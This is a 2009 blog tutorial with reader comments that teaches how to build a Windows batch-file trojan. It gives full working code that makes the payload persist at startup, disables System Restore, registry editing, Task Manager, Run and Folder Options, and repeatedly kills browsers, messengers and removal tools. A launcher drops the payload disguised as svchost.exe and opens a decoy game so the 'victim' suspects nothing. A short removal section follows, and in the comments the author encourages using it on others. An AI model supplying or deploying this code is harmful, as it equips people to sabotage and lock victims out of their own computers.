PC-Gyaan

Make your own batch file virus – Part II

Posted on October 28, 2009 by Aijaz

It’s been a while that the post Eradicate malware (http://pcgyaan.wordpress.com/2009/03/30/35/) have been helping many fix malware issues, but over the time, malware have evolved too. There are new tricks up its sleeves and other surprises that will make you look ahead to the most miserable option – to reinstall your windows. With the sole motive to learn a few more strategies that malware employ to put us into trouble, we make our own malware and see it work. This will develop in us a lot of understanding how malware cause trouble, even preventing antivirus programs to remove them. This will eventually make us skilled enough to catch loop holes in malware that can be exploited to get rid of it, and we do the same at the end of the post. Now, leaving behind our good intensions, let’s put on our masks and enter the darklab!

In a previous post we had learned to make a basic batch file virus (http://pcgyaan.wordpress.com/2009/05/18/make-your-own-batch-file-virus/) , learning a few DOS and batch basics, which did a little mischief. Well, this time we gonna turn a little more mischievous! The issue with our virus was that it ran a few tasks and later terminated, but this time, we gonna make it run continuously in a cycle, causing little close to what can be called havoc!

This time we will make a virus that will alter registry to start at startup and also place restrictions that will make removing it tough. Like many other malware do- disable system restore, disable registry editing, disable task manager, disable run, and disable folder options as well. In short, a tough one to catch hold of manually! And the virus will remain active in memory, running a process that will monitor your activity and prevent you from running any browser or IM client.

Since we have had discussed how we move around in DOS environment, we will directly speak of motives and how we accomplish them. Our main virus will as usual be a single executable. This file will be a decoy, tempting our victim to open it, posing as a crack or a game. Upon successful execution, this will launch out first batch file that will plant the main virus, another executable file at a secure location and then execute it. Hence, we see how a seemingly legitimate program causes you harm; this is what is called a Trojan horse planter. This launcher can be made to run a legitimate application at the end too, making us less suspicious of what we did in background.

As soon as the virus is planted, it is executed and the second batch file is run, that makes startup entries, apply restrictions and then as planned, runs a loop that will continuously trouble you. The point to be noted here is that the loop can either just carry out the aimed task, which is closing all internet applications in our case, or will carry out the aim and continuously refresh restrictions. In the latter case, unless the malicious process in memory is stopped, registry defaults tools fail to help you; and this is what is happening in newer viruses. It is also important to be mentioned that the registry key responsible for opening the exe files is also being edited by most viruses nowadays, making us helpless since we cant run or install our dependable antivirus. We don't include this feature in our virus since it crosses the fine line between a prank and a dirty crime.

Thus, you can't view the virus file, that will be super hidden, nor will you be able to restore registry defaults, which is relaxed in this case fearing avoiding the worst in case you execute the virus yourself…!

Having learned what we are going to do, we head towards code part. Open up a notepad file and key down this code, this will serve as our main batch file.

force.bat code:

```
@ECHO OFF

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t
REG_SZ /d %windir%\system32\config\svchost.exe /f

reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore” /v
DisableSR /t REG_DWORD /d 1 /f

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableRegistryTools /t REG_DWORD /d 1 /f

REG add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFolderOptions /t REG_DWORD /d 1 /f

REG add
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
/v NoFolderOptions /t REG_DWORD /d 1 /f
```

```
REG add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD /d 1 /f

REG add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d 1 /f

:loop

taskkill /F /IM taskmgr.exe /IM procexp.exe /IM firefox.exe /IM chrome.exe /IM iexplore.exe
/IM yahoomessenger.exe /IM autoruns.exe

goto loop
```

After entering the code, go to save as, save this file as ***force.bat*** , while keeping ***save as type*** as ***All files.*** Now, download *Bat to exe converter (http://www.softpedia.com/get/System/File-Management/Batch-To-Exe-Converter.shtml)* and convert this batch file to an exe file, while keeping options as instructed below:

1. Set visibility as invisible application.
2. Set working directory as Temporary directory.
3. Set temporary files to delete at exit.

In the version information tab, choose an icon file of a DLL and compile the batch file. You will get an exe file that will have icon of a DLL file. Rename this file to **svchost.exe**, this name and icon will serve as our decoy. Than change the attributes of this file to hidden, if you desire, so that naked eyes don’t find it. Use the attrib command as discussed in the previous post (http://pcgyaan.wordpress.com/2009/05/18/make-your-own-batch-file-virus/).

Now, the virus is ready, we need a planter that will launch the virus on your PC. For this we code this launch batch file as follows.

Launch.bat code:

```
@echo off

move /y svchost.exe “%windir%\system32\config\”

start %windir%\system32\config\svchost.exe

start game.exe

exit
```

Notice that you will need an application that will run after you run the planter, to avoid suspicion. This is a small flash game named “game.exe” in our case. And we choose icon for our launcher as a game icon. If you want it other way, you can choose an mp3 icon, and change the code as –

start song.mp3

And include into launcher a song that will be played once the launcher is executed.

After the file have been coded, name it as **launch.bat** . Now, we get a small flash game & an icon for it and run bat to exe converter. Choose options as we did in previous case and set the icon file as well. But this time, go to ***include*** tab and select add option and add the previously made svchost.exe file and the flash game, renamed to game.exe. Now compile this and of virus is ready.

It is an innocent looking application, claiming to be a flash game, having icon of a game, which is really tempting to try a hand on. Once executed, the contents- The launch.bat, svchost.exe and game.exe are extracted in temp folder and launch.bat is run. As programmed, the launch.bat file will move the main virus svchost.exe to config folder in system32 directory and run it. At the same time, it will run the game that is extracted in temporary folder. This way, the victim sees a game start and doesn't suspect our Trojan planter. Now our planter has done its job and the main virus is into its place and has been run.

The main virus named as svchost.exe, even if seen through some process monitor tool, looks like a windows application, with icon of a DLL. This virus will anyways disable task manager, so that it can't be end tasked. It also disables folder options, which prevents victim to search for it since it is super hidden. It also disables run, so that user cant launch applications like group policy editor. It disables registry editing; hence any attempt to import registry will be rejected. And then it goes into a continuous loop that will close Internet explorer, Chrome, Firefox and Yahoo messenger. You can also include other unwanted applications into this list, like process explorer, autoruns tool, malwarebytes etc. Hence, it's a complete havoc!

Now coming to removing such nasty viruses, it goes by trial and error at first. You try system restore, its disabled, no restore points are available; you try opening task manager, it's disabled. You try restoring registry defaults, its disabled too. Also process explorer and autoruns fail to start too.

Firstly, since the tools like Process explorer and autoruns can't be disabled through registry (unless EXE file association is edited, which wont allow you to run any exe file), you will rename them and then run them. Since the virus was monitoring image name and end tasking it, it can't stop the altered image name. Now, in process explorer, we analyze each of the processes. We notice a suspicious extra svachost.exe, which is running from system32\config folder, which blows its cover. We end task it and delete it. Now running autoruns, we remove its startup registry key as well. Now, the malware is gone, just the alterations in registry remains. Hence, you try cmd. Go to system32 folder and run cmd from there. In cmd, you edit the key which disables registry editing.

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

This lets you edit registry now. Import the defaults.reg entries and this must fix the rest of the issues. Note that system restore will have to be manually enabled from group policy editor GPEDIT.MSC.

Hence we see that even smarter viruses have loop holes that can be exploited and used to get rid of them.

Note: Booting into safe mode is a favorite option for many, since startup isn't loaded. But viruses now alter the USERINIT registry key and attach itself to it, hence starting in safe mode too, making the attempt fruitless.

Filed under: Scripting Tagged: | make own batch virus

« Deeper Reasons For a Slower PC Pendrive autorun viruses »

14 Responses

krishna, on November 14, 2009 at 10:39 am said:
why would i ever want to do that . You're the villain now. But if you want to be the smart villain you inject the virus and also find the cure. That'll make a hero in the eyes of the public. But then you're still the villain. :p

Reply

Aijaz, on November 14, 2009 at 2:16 pm said:
LoL !! Krishna, if you are referring to that EDSC notes prank, com ' on man, it didnt do anything except simple wallpaper change … ! Anyways, you are always welcome if you ever wanna make someone real crazy … !!

Reply

Tijo, on March 10, 2010 at 5:35 pm said:
suuuuuperb…………….it more than what i was searching for…….

Reply

amany, on June 30, 2010 at 5:09 am said:
pleaz show me how to attach it self wiz other fils
ur blessed
thanks you….

Reply

Aijaz, on July 8, 2010 at 10:18 am said:
Thats for appreciation … Well, like I already mentioned, this is a trojan … It itself will look like a legitimate file, it cant attch itself to a file. Like, you may make a batch virus with an icon of a word file, or a icon of a mp3 file, and the innocent victim may run it thinking it as the same thing as the icon suggests.

Reply

Muzzy, on August 3, 2010 at 10:08 am said:
How do i make my batch file runs in process? Btw, thnks

Reply

Aijaz, on August 9, 2010 at 9:15 pm said:
Can you be a little more clear . To run a batch file, it needs to be executed by a double click, put to autorun of a PC or a pendrive etc.

Reply

T-rex, on October 13, 2010 at 6:13 am said:
Ahaaaaamm!!!! OK OK beeeeeen there done that >< ma question to you is how to run a batch file when the command prompt was disabled???? OR in a sense how to enable a command prompt with a batch file? G T P….. CYAAAAAAA

Reply

Aijaz, on October 13, 2010 at 2:34 pm said:
Disabling command prompt can be done by editing group policy in registry. Now, there are two ways restrictions can be made, in one way you disable only command prompt, leaving batch files to run without restriction, in that case a batch file REG ADD command can be used to edit the key disabling the command prompt.

```
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f
```

Here, 0 is default, 1 is disabled, and 2 is disabled, but allow batch files.

In case its 1, you cant use a batch file, you gotta edit it in registry manually.

Reply

ghost, on February 23, 2011 at 1:59 pm said:
everything is very nice man!

Reply

Raphotai, on May 7, 2011 at 4:21 pm said:

Thanks for your highly instructive and eye-opening articles on how malwares are created. But, please, do explain in simple step-by-step method how to remove malware, such as autorun.inf, from my removable drives. PLEASE DO!

Reply

Aijaz, on May 7, 2011 at 11:29 pm said:
hi … thanks … refer the "Eradicate malware" post …

Reply

anurag, on December 17, 2012 at 12:03 am said:
Awesome making reg disable

Reply

Meet, on January 4, 2013 at 3:20 pm said:
As a caution create autorun.inf folder in pendrive, this will reduce the probability of getting virus to your pendrive.. :p

Reply

Blog at WordPress.com. The Digg 3 Column Theme.